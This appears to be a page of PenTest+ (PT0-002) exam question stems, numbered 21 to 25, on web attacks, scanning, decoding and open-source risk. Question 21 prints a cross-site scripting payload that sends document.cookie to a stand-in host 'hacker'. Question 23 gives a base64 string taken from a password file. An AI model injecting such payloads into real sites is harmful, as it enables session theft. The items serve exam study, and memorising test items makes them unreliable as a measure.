PT0-002 Exam Question 21

Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
  • PT0-002 Exam Question 22

    During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?
  • PT0-002 Exam Question 23

    A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
    U3VQZXIkM2NyZXQhCg==
    Which of the following commands should the tester use NEXT to decode the contents of the file?
  • PT0-002 Exam Question 24

    A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
  • PT0-002 Exam Question 25

    Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)